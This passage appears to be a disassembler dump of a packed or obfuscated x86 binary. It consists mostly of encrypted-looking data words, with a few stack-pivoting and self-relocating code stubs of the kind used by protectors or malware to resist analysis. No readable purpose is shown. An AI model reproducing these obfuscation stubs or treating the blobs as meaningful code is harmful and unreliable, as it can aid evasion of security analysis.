19FB4BCFh dd 0DE53E359h, 20A27407h, 0DE591AA4h, 0E5274A2Dh, 0A7B50A0Ah dd 8672AF25h, 6C0FC6F5h, 0EAC28AAh, 73EFE872h, 0B2570C88h dd 8935B034h, 27BCFC8Dh, 0B5F89F6Ah, 5FE06463h, 0B50187FDh dd 0E0894D29h, 9E6A27BCh, 0B4FA58A3h, 616A27BCh, 0FF5DE967h dd 5B600FCh, 0ED46B0Eh, 0F2F02649h, 0E055C176h, 566A27CEh dd 347D62A2h, 0FF732174h, 0DDE3FFFFh, 809025A3h, 0B5914AC6h dd 0AE26A7h, 423C9863h, 1E415C6h, 0B22EA86Eh, 36B63228h dd 0DA10EB88h, 345B9958h, 1D5B8174h, 0A94C2F9Fh, 5C3Ch dd 0B9A31C00h, 25A7413Fh, 995C1FAFh, 48D2562Bh, 0BDCC10ECh dd 0C36A27BCh, 9935AD50h, 0F5682430h, 0D68D686Bh, 8407E452h dd 1D3EB93Ah, 4C0C6C01h, 0C37039DDh, 130E6C2Bh, 2F3F7B46h dd 745720D4h, 5DECC7EAh, 68393A76h, 0A16B0E95h, 0ACE4CD0h dd 6E28247Eh, 0FD9B2712h, 4Bh, 5538C923h, 4F2C9A1Eh, 0FE8A4ECCh dd 92682430h, 0BB5F3BA7h, 6C2BC0F2h, 234A8E8Ch, 5D6C2BC0h dd 3F9C67E2h, 8960A935h, 0C94B24E6h, 6067F551h, 0E58111E4h dd 896E284Ch, 0B5790C8Eh, 9BF7B3BAh, 0EE8A40BBh, 46F0746Ch dd 0DD8652A5h, 0BB9925A3h, 0AFA4339h, 2ED9EC75h, 6958B40Ah dd 0D48D3CD6h, 30246A27h, 6A27D489h, 0D64104F7h, 6D13C75Bh dd 11682E83h, 9BC9826h, 0C46C20E5h, 1FE62053h, 0B7A3BB9h dd 0A91593D1h, 41B637CAh, 9A000000h, 0A63438C9h, 2EC238B2h dd 95DEF368h, 0D67353D7h, 7EF9CC37h, 0C8C6C99Ch, 0E0AF2A8Ch dd 4075D11Dh, 8D6C203Eh, 68A9670Ah, 507A3BDEh, 8C50CF8Ah dd 6C2032FDh, 0A9159083h, 0F0B637CAh, 9A000000h, 263AA3DDh dd 6A27BC97h, 6FF36EE9h, 0F76BF0EDh, 6A27BCC6h, 74C2BDB8h dd 0BC4574E8h, 383B6A27h, 8E8CBABDh, 67E551CDh, 0FD5FEF65h dd 0A6B00583h, 6A27B7CAh, 6ED74D0Fh, 0CA74F0F2h, 526B9336h dd 0BC11ECE9h, 3236CBB9h, 0E66EB4A8h, 1702682Eh, 58C9A6AEh dd 20A0F584h, 0D888B6Ch, 746F498Dh, 10036E27h, 832A2E8Ah dd 0FD6A2914h, 14B0F91Dh, 53CE6A29h, 0E9EB83D0h, 4F79DB49h dd 60FA56B4h, 9E5DE965h, 71840042h, 0D768E4E7h, 428E0A45h dd 815D10DDh, 0B6946A10h, 77000001h, 0D838FD77h, 0BAA61F9Bh dd 1BF9BE3Eh, 0FB59DE5Eh, 0DDBB7CF8h, 85014221h, 29A52030h dd 4ACE8494h, 0EF6567F5h, 70E47856h, 6C2B2D49h, 0A37AD637h dd 0BF423EB9h, 147A2DDh, 0A5B7088Bh, 0C597CC2Bh, 7E9487CEh dd 5B12C0Dh, 2A723D66h, 0CE5D18E8h, 0C92EEA53h, 0B2A63438h dd 682EC238h, 898D3924h, 6C20B6E4h, 8630B433h, 0FE48CC84h dd 597F32A9h, 0DE20A319h, 39F83679h, 0C7A3B66h, 95h, 25A3DDCCh dd 0BC38BB99h dd 0B7BA16F2h, 7D7F6A27h, 84C11B87h, 3A3DBE08h, 0DF551705h dd 1B08F96Fh, 27B8B6C7h, 0D24DC86Ah, 0DF8E9448h, 77E2682Eh dd 0A7A946CEh, 4E7C273Bh, 2B166E27h, 0AE2AA5B7h, 0E3E77509h dd 490A9669h, 522603CDh, 9545815Dh, 0E0CBh, 0AB215D00h dd 0C5410612h, 64E0E070h, 840041D3h, 2AA62133h, 0A8CB0395h dd 0E0AB32Fh, 0F26ED74Fh, 4DCF70F4h, 82209513h, 2E135ABEh dd 0E06D6C2Bh, 0F0A2DD20h, 2DDC927h, 4AF36E11h, 0AF108CCEh dd 0F3A3DDEDh, 360EAB54h, 0FBBFE400h, 0EF3611Fh, 0F68A34B7h dd 78B7C61Ah, 4EC96A27h, 31AF29ABh, 56D28C8Ch, 0FB7173E1h dd 34ABCF4Bh, 0EE7139FDh, 0B5B15CBh, 0CBA186A3h, 9E7CFF13h dd 7D80047Ch, 964A26B8h, 5DD1CBE7h, 3429E99h, 0EAE4708Bh dd 6C6EEC6Eh, 52A546F0h, 5512C894h, 738665D1h, 0DA64E0E1h dd 0CC6417CCh, 63D34B0Eh, 0E1E37D80h, 0C71BF76Bh, 5DD1CBB6h dd 75AA4DC8h, 0DF6FE5E7h, 3EB5A703h, 0CB1158BAh, 0EC6F5DD1h dd 0FF309h, 72170000h, 41AB362Dh, 0FE7A74A1h, 8A5CF803h dd 2BA1DDD6h, 413FB99Bh, 0DB5117F5h, 70ECE96Bh, 8F0B44C6h dd 26A2DD3Fh, 0BF3FBA98h, 0D7550D0Fh, 6AEEE567h, 0EC8168DCh dd 4, 89243489h, 4C681E6h, 83000000h, 348704EEh, 12685C24h dd 8900003Fh, 8952240Ch, 4C281E2h, 83000000h, 148704EAh dd 4895C24h, 4EC8124h, 89000000h, 9DBF243Ch, 812C6B3Ch dd 0A1413AC7h, 5FF989D9h, 24048B54h, 4C481h, 2B680000h dd 89000063h, 8BA2414h, 1000000h, 5A0A89C2h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54F7CF ; --------------------------------------------------------------------------- db 47h dd 8C2D1BBBh, 0C960904Fh, 0F318F69Fh, 85B8B39Ch, 3060C93h dd 36E0FFC5h, 964A921Ch, 9E62DD8Dh, 3354D5A5h, 1F1D4960h dd 630921EDh, 0DD235855h, 2842BF5Fh, 86612598h, 765CD637h dd 7323667Dh, 0EC6A20A8h, 0B079E65Eh, 122B8ACDh, 0CB67795Bh dd 3E7F99E4h, 0E83C3B84h, 10h, 56CA8A47h, 5FCBF993h, 0D1E88423h dd 2CCE7B83h, 12E9h, 0A5F55F00h, 595E95A5h, 9ACE812Ah dd 0F171BCE5h, 5FB5DD5Eh, 0BE9h, 44295200h, 0BCD40877h dd 83CBAD56h, 6E5EC781h, 8B660000h, 1B5AB8CBh, 0EB8A0000h dd 0F5E37FFh, 0A84h, 4890F00h, 66000000h, 812D63BAh, 2225C2EEh dd 0CAB70F74h, 0E6D9F681h, 830F46C1h, 5, 0D5CB48B9h, 0B0C68112h dd 0F162894h, 3789DEB7h, 0FE9h, 44597000h, 0CC2C8927h dd 9BF943C7h, 0BE0C1889h, 805FEF81h, 0BB664AEFh, 0C7813AEEh dd 4AEF805Bh, 19810Fh, 14E90000h, 4D000000h, 93C61745h dd 0BFD99B29h, 31ED8C8Bh, 743E4A28h, 486D2E3Fh, 1C850Fh dd 0BA660000h, 27E9313Fh, 0C5000000h, 0A126678Ch, 0B727D266h dd 14708F7Dh, 8010D8F3h, 850F1EC5h, 2, 55E9CF8Bh, 0A9FFFFFFh dd 0A13BD485h, 2DEBF0E1h, 0 dd 0BFAE0DD0h, 0DFF2319Ch, 0A7A5ADF9h, 75528C88h, 0BE00B7FBh dd 0E5ADF99Ch, 9D89937Eh, 26816800h, 0B2BD1467h, 75314D03h dd 0AC3E923h, 0A7680000h, 0E9060C96h, 0FFFAE7CEh, 0C97E668h dd 0E7C4E906h, 0D168FFFAh, 0E9060C98h, 0FFFAE7BAh, 0C995068h dd 0E7B0E906h, 1D68FFFAh, 0E9060C9Ah, 0FFFAE7A6h, 0C9B0768h dd 0E79CE906h, 0D668FFFAh, 0E9060C9Bh, 0FFFAE792h, 0C9DA368h dd 0E788E906h, 0C168FFFAh, 0E9060C9Eh, 0FFFAE77Eh, 0CA127659h dd 36B3D17h, 50B8EECEh, 0E8F0A4BDh, 244C1875h, 694A5915h dd 0DB3ED33Bh, 96F06D75h, 4DA5B8C0h, 8420FF07h, 15E03BBh dd 59D34303h, 0AE2D04E5h, 5410064Ch, 0AA7A2A2Ch, 9B316260h dd 499BC495h, 2DFD9052h, 98A6A497h, 0FEC60F31h, 72EDC524h dd 0F3CF4210h, 0CBF3B3A5h, 3310E9A3h, 0EBBBEB6Dh, 0A5BF3016h dd 0FB4DCBF3h, 3F12C8EDh, 0A31BE422h, 0E30301B2h, 21FBABD3h dd 2568A18Fh, 0DF22641Dh, 53192C0Fh, 75BD093Dh, 3E6442DFh dd 75DB3BD6h, 72232183h, 5BBE5FD8h, 260E0F34h, 17B86C2Fh dd 5B322803h, 8ECh, 1E662205h, 57BFE1C3h, 0E40C5ABAh, 3C440869h dd 4890C421h, 0D536ADA9h, 8FEA678Fh, 425CB1D9h, 3111CC14h dd 0E88C036Bh, 15DB70Fh, 956FF703h, 181E44A2h, 59F359B9h dd 0FB7AE2C0h, 0CF98BE8Eh, 0D19583CBh, 0D533D931h, 0D069CA80h dd 900F342Eh, 8535B6A0h, 0CD030A4Ch, 0FE4CE3C9h, 819E171Bh dd 7D3783Ah, 67C9929Ch, 470CC686h, 8BB5E1CDh, 5E0E54B6h dd 3AC1h, 43E50700h, 0DCB4EF0h, 77CF2805h, 37050DCBh, 8343730Fh dd 0F2CF5B89h, 0CCF4B0A6h, 0C1602516h, 65800F34h, 25135B09h dd 0AC110AAh, 70445803h, 0E175AAE9h, 0CD71B5h, 0E5F70000h dd 2F7F5A17h, 25E5015Eh, 0A294FAD8h, 888EDA37h, 0C197F34Eh dd 70263C01h, 553B1B86h, 5961CE0Dh, 52B0050Dh, 0A593F9D9h dd 76C82BE1h, 36050D56h, 0A3BEC60Eh, 0AD471D43h, 3721774Ch dd 563AFC7Fh, 4A7A050Dh, 0A07A9C9Ah, 0D56EF57h, 0C787AF05h dd 845E074Dh, 79DFB4B6h, 959BE0D8h, 7FD5CD50h, 7A00C06Ah dd 34B71CF9h, 7C84AC0Fh, 29E3B0D6h, 35147ACEh, 3CD6DE09h dd 4C94C0DDh, 69E0B491h, 9109C30h, 0AD0F6EE4h, 44000007h dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh, 0E8095107h dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h, 4AB54FC0h dd 3015CF4h, 0A2562CB4h, 51CB1341h, 43B59BF8h, 98FE4303h dd 95D0AAB2h, 936C267Fh, 0F34C1DAh, 930C0A3Ah, 30AC12Fh dd 667CDD67h, 80749030h, 0E175BA99h, 0C141B5h, 0A2870000h dd 0FE181E44h, 0CDDC3470h, 0AE64C9DBh, 0DEDE94Dh, 0C999A905h dd 0CB4D1B74h, 95362309h, 256F4CEBh, 6CD24F71h, 0E3A3279Ch dd 0DABB700h, 5A006605h, 44C7DF32h, 5C3D3B6Dh, 60241244h dd 0AC06F038h, 0D427FDA6h, 0F34F03Bh, 8953BB8Bh, 0F7401A5Bh dd 9355C2Ah, 43116DCCh, 3DD7DF83h, 0FF95C3DCh, 0B4540262h dd 62A4815Ch, 72E4B48Fh, 3F7DC132h, 0F53D0503h, 0EF693F18h dd 0C9E67FA7h, 6B091057h, 6C298F5h, 1C730000h, 0CB29244Ch dd 84E07D85h, 7E578AD2h, 320FC22Ah, 83FF1E66h, 9510760h dd 43ABFDD4h, 9EE6AC8Eh, 0D53D6343h, 0D95DDE7Ah, 99030153h dd 41A2B309h, 3016CB13h, 0A2A8026Ah, 0FE181E44h, 0A345DE70h dd 0D373F7CCh, 0DA22684Eh, 0D3EA119h, 0D151B705h, 0F9ADABF1h dd 18181BB1h, 640F3181h, 4BAB865Ch, 260FD05h, 1A48DA5Ch dd 1BB08359h, 0BB093885h, 6DF928Bh, 0E75D0914h, 64386h dd 0CD9BF200h, 648A8A5h, 530563FEh, 0ABF1D60Bh, 0E7AD8E43h dd 9F047E9Fh, 538ED682h, 5D82070h, 0FE137B29h, 0F5AAB298h dd 525EE053h, 0B61E0301h, 1E44A23Ch, 0F359B918h, 0E37E9205h dd 7A2C0883h, 0C080C8FCh, 785E3084h, 2360CA12h, 0EAAFDA6Bh dd 7, 1A55E6Eh, 0BCDA0000h, 50DCBFEh, 0C175C698h, 81050DCBh dd 14425CB1h, 0EB88DE74h, 0A5829F31h, 0E1CC2FFFh, 550F3174h dd 7C5AB76Dh, 839D7C16h, 46B163D5h, 3015EF0h, 825880B0h dd 15E0DB1h, 0A5654D03h, 0C52B0ADh, 0C99FFB56h, 5FB51F19h dd 10AA4C06h, 15E9F27h, 0B87EF903h, 0F803015Eh, 5C0C34C8h dd 387072DFh, 0DA37D209h, 0B4CF468Eh, 6009139Bh, 57693EAh dd 0A8BF0000h, 1F75E8F0h, 0D02C2149h, 82E37E86h, 7E5BB6DEh dd 3733C22Ah, 0FD0553ACh, 375F0160h, 42AAF8DAh, 99E1B78Fh dd 2D916206h, 6D030151h, 44A20FE5h, 63FE181Eh, 0AEE65000h dd 5D0363FEh, 74DAA87h, 1370E147h, 0CBDA5CDFh, 0AA9A050Dh dd 865F462h, 69E0C15Ch, 93D3450Bh, 0DF3BED6Bh, 1F7BD0D5h dd 54AF8295h, 99F94404h, 0F44719B3h, 50DCB42h, 7A923202h dd 0DA6BB390h, 107AAFh, 5EFE0000h, 0ABh, 6B4D74FAh, 3F6F10C0h dd 7F95F56Fh, 9F936C26h, 0FF0F3174h, 263C1DB7h, 9DF56870h dd 0E1E741B7h, 0E5441EB4h, 280BDB89h, 93DE105h, 66FB91A1h dd 0DF325A00h, 8E3003C7h, 0CE050DCBh, 0EEB8BEE6h, 1BE1BBF8h dd 240A7E87h, 0C7223F19h, 3FEFA791h, 747D9A65h, 0E5CD0F34h dd 17905D6Ch, 0C8A59B03h, 48Ch, 0FE0642A5h, 375F0163h dd 44ACFADAh, 9CE4A889h, 28306441h, 75564D09h, 2F0AC72Fh dd 0E2FC1179h, 51B1ACB4h, 882CE30Bh, 15017AFh, 75CF5703h dd 1675Eh, 0CF74FA00h, 8D310244h, 0CD050D29h, 4DB27BE5h dd 957BE1A1h, 0CA6C267Fh, 88AF2564h, 20E0E44Fh, 3116CFC3h dd 0CD87AF0Fh, 61D2166Ch, 3013CDDh, 56D959Dh, 250B28Fh dd 0B1E7FF42h, 0BEE7ED47h, 83301BE4h, 0AC94093Dh, 0C73B1BF6h dd 0DA9C274h, 0D187E305h, 85ED151Dh, 45B66A48h, 50DA9F1h db 0B1h, 81h word_594F42 dw 0DF59h ; DATA XREF: ___:off_438100o dd 8C461F75h, 0A9B509EAh, 0CDF5050Dh, 0A9922417h, 0E2D2050Dh dd 78C69822h, 0F2E3767h, 0B7B45494h, 0F34F956h, 440869C0h dd 71E8D884h, 3181B5Ah, 0BDC9A49Ah, 74000003h, 322F3711h dd 0E57880D6h, 58B5DD8Bh, 10CD157Bh, 0F8196137h, 5C08657Eh dd 96FAD934h, 0E1B7934Eh, 386E4499h, 5AA57FD0h, 30150E4h dd 0A2463CA4h, 0B9181E44h, 0C059F359h, 8EEBEE0h, 9E1CB8Fh dd 0D59EA529h, 31BE1207h, 3C1BE109h, 86AFDA8Dh, 4A1A4EABh dd 73F5h, 43E57300h, 0CBE84EA9h, 98A8050Dh, 0DCB239Bh dd 0FE536305h, 541B79Dh, 1A99CF45h, 64060793h, 0DC70F59h dd 34ABDC32h, 9E347C0Fh, 0EBF3A583h, 0A90D368h, 0CE94F203h dd 5DAB2614h, 8ADDD55Eh, 4618B2DAh, 0AAF41F5h, 91310103h dd 70E6B08Ch, 30F1Dh, 4BED8700h, 0AAF56E8h, 2D2E1603h dd 30AAF89h, 0F584FCBBh, 23DFC594h, 0BABCE2C6h, 5802C20Ah dd 241240A2h, 0EFF75DB5h, 0C84E1472h, 92F66949h, 0A67C84CCh dd 3E38684Bh, 4053BDB0h, 9AC263A1h, 2BFBAD87h, 18B2E3E1h dd 3410A21Fh, 64D2E20Fh, 0A71F18B2h, 86030A72h, 487CFAA0h dd 5FDC8CB4h, 30A72E3h, 0B8BEE4C2h, 0AFA9FFD9h, 0A114FC21h dd 0F948BF17h, 0D692179Dh, 3017FAF2h, 0F7B5E202h, 25h dd 267F957Dh, 0C1DA936Ch, 0A3A0F34h, 0B399F950h, 209A1513h dd 68030AC1h, 0BA998074h, 41B5E175h, 0CDh, 1E44A287h, 2770FE18h dd 434AFE7Ah, 0EFC855F5h, 0C422BFB9h, 0AA8B330Ch, 4DAA050Dh dd 135B6B07h, 85EB425h, 0A6C273E0h, 0F554050Dh, 55031C9Fh dd 0FD7BA3E3h, 2E0419C9h, 0E5FD1078h, 0F9EFB9BFh, 2815E6BCh dd 980F348Ah, 0ACBA40A8h, 0B1E25DF7h, 41093554h, 6546DB71h dd 0DB7DD73Fh, 33CE658h, 0CE9EA605h, 0B9971673h, 0F53D69EFh dd 1055811Ch, 24B9BF09h, 1F0h, 127A2E01h, 0ABB3E5FFh, 0F80056B6h dd 30580C65h, 4C94C0DDh, 0D132B1ADh, 83E67B83h, 7E58B5DDh dd 350DC028h, 0EC88076Fh, 156AB13h, 817BEB03h, 791341A2h dd 59DF81E0h, 82D4302Dh, 7F578AC2h, 5ED97329h, 50DCBD8h dd 0CBF9BDBEh, 89B9050Dh, 0F51DCDF5h, 0F043E57Fh, 50DCB4Eh dd 0AC66260Eh, 0D427FDA6h, 0F34C193h, 3D54373h, 9583C92Eh dd 0C14EF043h, 260E030Ah, 6DCD2EFEh, 4C030AC1h, 0AB362076h dd 0A1F7CC4Fh, 2D35FF79h, 206E2C7h, 5CBA97AAh, 0B3F608F6h dd 7A39F59Bh, 8A6320AAh, 926FB5E1h, 318576B2h, 71030AD8h dd 571F1941h, 0B3A8B7h, 0A2AC0000h, 0B9181E44h, 0D40E085Ch dd 9D4D1B75h, 0DC7119Eh, 7AE2C005h, 82E1563Ch, 0D2F57B05h dd 91C1A2BCh, 43D92169h, 790488EEh, 0A60D2C0Bh, 0E37E2E56h dd 0C95BDD83h, 3700DA9Bh, 0F340A06h, 0DC668EB6h, 0C437EDB6h dd 935DB78h, 0D32EE4CCh, 7FC730F6h, 3F0503B8h, 0AAA7CFF7h dd 0A1021B49h, 830910D9h, 0D2F08Dh, 0C630000h, 0FBD9345Ch dd 0B4904D95h, 6E479AE2h, 223FD23Ah, 93CF6E76h, 19613710h dd 53BBEDC4h, 0EEF65CBEh, 254D1373h, 0C96DCE6Ah, 89030155h dd 41A2A319h, 0BF51CB13h, 0DCBFABCh, 0DA8ABA05h, 0D1396F47h dd 0F80E67Bh, 6C3C6434h, 1E44A2F6h, 0F359B918h, 0F8D831EBh dd 9316743h, 2408810Fh, 0A9BBA6FDh, 7D6BA161h, 81916238h dd 0F10F310Bh, 86710BC1h, 3012130h, 2151E556h, 21110301h dd 4CAF654Dh, 30121EAh, 6CCA9AAAh, 0A7CF95EDh, 86291FEDh dd 0C4B541D0h, 0AF43E5Bh, 4A1AE735h, 4FC99FF7h, 411EA795h dd 161919F3h, 66EDF576h, 0F6D0268Eh, 40166CFEh, 87CD2538h dd 7D230091h, 1F95EDFBh, 0D921774Fh, 0FE782E04h, 39Fh dd 0FF792500h, 1B1D4BA2h, 4F258BEh, 6DEBB995h, 55C395ECh dd 0BBBDEBC4h, 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h dd 0E0895032h, 405h, 42D00h, 4870000h, 1C895C24h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 51243C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 5150242Ch, 0AA460CB9h, 59C8896Dh dd 2023FD0Dh, 0F206354Ch, 0C7896BA6h, 49106858h, 24890000h dd 24048124h, 4, 4EC835Dh, 8F243C89h, 2C8B0845h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 56243C8Bh, 0C681E689h dd 4, 4C681h, 34870000h, 23E95C24h, 0FFFFFADDh, 1F153F01h dd 0CF7E7F15h, 52064A80h, 9FB8B8D9h, 0C503060Ch, 563EE0FFh dd 6E5D33F4h, 34047BB8h, 854002E1h, 37CE7A08h, 886B1965h dd 8B112079h, 25E94452h, 0D7837271h, 71933684h, 0E6F4015Bh dd 0D84D0DA9h, 4C4C21CAh, 0D94437E7h, 0ED686679h, 0AFDE0FE9h dd 0D7C4743Ch, 595C54C1h, 0C60B7C4Ch, 205A4DE8h, 1F1804DEh dd 86076F5Eh, 26C8636Fh, 1F8E5F61h, 0A88B4313h, 0B74D39D6h dd 0C08B6BDFh, 10E9h, 82BBB000h, 45B90C69h, 0B4E61DDBh dd 6347FA1Fh, 1BD8345h, 60731h, 0BD830975h, 6070A55h, 50197400h dd 0B8C08B53h, 3FCh, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh dd 0A55BD83h, 74000607h, 0B8535017h, 3FCh, 2BAD8589h, 9D8D0607h dd 609B0E1h, 585BD3FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0B5C35242h, 21B031C5h, 40C8F97Eh, 8CEA8162h dd 8B2AF5FBh, 0B0D281C0h, 836D77F1h, 71995BDh, 840F0106h dd 8Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 4BC35646h, 274C561Dh, 498DF381h, 0BD8378C9h, 607294Dh dd 57850F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 7188C352h, 2588D281h dd 83F53A34h, 732B9BDh, 840F0006h, 82h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 40C35545h, 0DAFF7A54h dd 9FBAAF13h, 0DFE9FFB6h, 66000002h, 71D7CB81h, 1C8C0Fh dd 11E80000h, 7F000000h, 0A97349FFh, 459793F4h, 79BBFE9h dd 0ED369055h, 0EB31AFBBh, 5B72h, 90B30000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D5C35242h, 9E3B5BEAh dd 850F8B9Eh, 2, 42CED38Bh, 0F1AD1236h, 7A020FBCh, 0FD256C36h dd 27BFD6B5h, 7C15604Ch, 0F70DB0B0h, 1E573BD5h, 0F743B49Bh dd 565E5232h, 1F85CEF6h, 0F768B0B3h, 7CD931EEh, 0A01CBC11h dd 0F70DA15Ah, 8B9FA3B3h, 787CAB6Eh, 5A08EA91h, 99712EA7h dd 9D3399A4h, 0F4DCE6B3h, 0D71AB0B3h, 7E5373EDh, 768294C7h dd 0EE4794F7h, 0B1A1B0B3h, 57B173E5h, 603420A8h, 7CEC3BD5h dd 0A21ADA73h, 0F70DB35Bh, 34DB90B3h, 0D32F39EEh, 0D3E531B7h dd 0F7D0ADB7h, 343DF5B3h, 0FE3DEC51h, 4E50850Fh, 5DBEF928h dd 0E103BF23h, 9743B0B3h, 0F7A1BD5Ah, 34A34BB3h, 0E7E7AD89h dd 61F4DC2h, 0AF4DB843h, 0FEB6E0D2h, 67EA0DF8h, 0F89407BCh dd 985FCB2h, 0AF2E3A4Fh, 0F76ABCB6h, 0A434DAB3h, 0F71AB35Bh dd 345690B3h, 0D3DA39E8h, 0D30731B7h, 0F7A1ABB7h, 3483F3B3h dd 0F7988BBh, 0AC9585AEh, 0F71AB75Ah, 0FB36E1B3h, 453AE040h dd 7C25B838h, 9B50B6Bh, 7CB68F8Eh, 0F7024CFBh, 0F73758E2h dd 0AE3AB0B3h, 0BB84E970h, 0B307B497h, 0F759B497h, 0A6E0B0B3h dd 76FC1C70h, 10AD8BCBh, 0D42F6709h, 0F71B0880h, 0F767B0B3h dd 0F78558E2h, 0AE63B0B3h dd 0BB28E970h, 0B351B497h, 0F77EB497h, 0A675B0B3h, 7441A270h dd 1F5D6938h, 0F786B0B4h, 63C10CF3h, 970A8FA4h, 96B0D1D3h dd 0FBE1EBD2h, 0B7A40B97h, 7B7CCF25h, 0F285BF6Ah, 9186B0B3h dd 866A5A32h, 0F8A57145h, 0F7D02B36h, 0AEB83AB3h, 77E43BD5h dd 7215D88Ah, 0F70DB063h, 1FD7B0D9h, 0F743B0B0h, 0AE62E993h dd 0F3F4FC3Ah, 0F34CF432h, 0F734B0A7h, 54D9E1F2h, 450CC938h dd 0F77931F6h, 0F8C3B0B3h, 0F7A11331h, 30A503B3h, 0FBCA9D36h dd 0F734B1B5h, 0A11ADAB3h, 0F70DB35Bh, 34D890B3h, 0D33739EDh dd 0D3E531B7h, 0F7D0A7B7h, 343EF6B3h, 25E62372h, 1ECD07BCh dd 0F70DB03Dh, 9E6F4739h, 9D43B0B3h, 0F449E5B3h, 0D7D0B0B3h dd 7E3573EEh, 763094DFh, 0E11E94F7h, 0B20DB0B3h, 0A72073E6h dd 4DB43A1Ah, 849104ABh, 0F7DB59EAh, 890CB0B3h, 0DC2E65F5h dd 0DBA27B77h, 8E8ED6FEh, 73894FB8h, 0F743B09Bh, 30773BD5h dd 0FB729D36h, 0F768B1B5h, 783BE6B3h, 0F71AB0A0h, 0F70DBD5Bh dd 88A02DB3h, 76F730AAh, 0B6419F83h, 0AD8ADB30h, 0F76159FBh dd 7DDBB0B3h, 0E6498D51h, 1E6FDB32h, 0F786B0B9h, 0EC595503h dd 0F9328D11h, 7E69245Dh, 7A5B5B3Ah, 0FB924636h, 0F6A73DB5h dd 0CC0BBC16h, 0C781C44Bh, 0B08A61BCh, 0F7CB4558h, 0F7D358E2h dd 0AE48B0B3h, 0BBBDE970h, 0B39BB497h, 0F714B497h, 0A6C7B0B3h dd 55B6FA70h, 1E78ABF4h, 0F7D0B0A0h, 35A5131Bh, 0A8DB3F91h dd 7B9473D4h, 0B6E97555h, 9D1429ECh, 0F4ABE6B3h, 0D7A1B0B3h dd 7E8E73EDh, 766C94C7h, 0EE3094F7h, 0B11AB0B3h, 0C85573E5h dd 0E7548911h, 20F4BFE4h, 621C33E8h, 0F6D6B7AAh, 0F72C34BCh dd 0F8DCB0B3h, 781AB0B3h, 26BA6B14h, 8C3FDAE3h, 0D03D17CFh dd 342033E0h, 0BE505545h, 0BAD533E8h, 0F732B79Ah, 0F70635BCh dd 4002B0B3h, 4E3B3369h, 0F745B781h, 0F79834BCh, 2150B0B3h dd 0F4E3BF98h, 7734B0B3h, 6F36870h, 9D0DB0B3h, 0F46EE6B3h dd 0D743B0B3h, 7EFF73EDh, 76D494C7h, 0EA6C94F7h, 0B134B0B3h dd 0CD1273E5h, 678DA47h, 0C31D0E29h, 74194CE1h, 0F0B8250Eh dd 72DFB1B5h, 0F768B038h, 1F65B0D9h, 0F71AB0B0h, 0AECEE993h dd 0F3A2FC3Ah, 0F367F432h, 0F7A1B0AAh, 0B213E1F2h, 0CCB78528h dd 0FFB1BFB1h, 971AB0B3h, 4E6BD1D3h, 0AAE791BBh, 1F15B0D9h dd 0F7A1B0B0h, 0A913EE93h, 0F34CC43Ah, 0F310F432h, 0F71AB0A5h dd 83CEE6F5h, 1E452A76h, 0F743B0BFh, 4EE7BA5Bh, 8305701Ch dd 8295735Fh, 0A2DD5105h, 9D1AB0B3h, 0F4E5E1B3h, 0D786B0B3h dd 7E1A73EAh, 76A594FFh, 0EFD494F7h, 0B668B0B3h, 22FC73E2h dd 9126C89Fh, 0AAB0F709h, 1FD3B0D9h, 0F743B0B0h, 0AA62ED93h dd 0F3F4DC3Ah, 0F34CF432h, 0F734B0A4h, 16D9E5F6h, 0F86D4915h dd 7189600Ch, 0F743B0B0h, 38637B33h, 92CB0AD5h, 55350D3Eh dd 7AB9B6BFh, 0F1161670h, 0CD51AD0Bh, 760383C8h, 0DC45B7B4h dd 7E69717Ch, 7A5B5B3Ah, 0FB924636h, 0F6A73DB5h, 0CC0BBC16h dd 0C781C44Bh, 0B08A61BCh, 0F305E983h, 2DBD83A4h, 60CA2h dd 8D8D0D74h, 6074DB4h, 1B8h, 40E1FF00h, 0A3C3BBF5h, 0E8835DFBh dd 51006A2Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 7063C403h, 860F4F98h, 2, 0C08BF38Ah, 68A0Fh dd 0E3810000h, 555F988Fh, 3101BD83h, 75000607h, 55BD8309h dd 6070Ah, 53501974h, 0FCB8C08Bh, 89000003h, 7217D85h dd 599D8D06h, 0FF0609B4h, 83585BD3h, 70A55BDh, 17740006h dd 0FCB85350h, 89000003h, 7217D85h, 0FA9D8D06h, 0FF0609B0h dd 6A585BD3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 53E7C351h, 0FDA6543h, 1687h, 11E900h dd 27900000h, 2BAAC285h, 0F0E02B4h, 3D43EB4Ah, 8B97990Ah dd 1C8E9C0h, 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 60CA998h, 0E585C760h dd 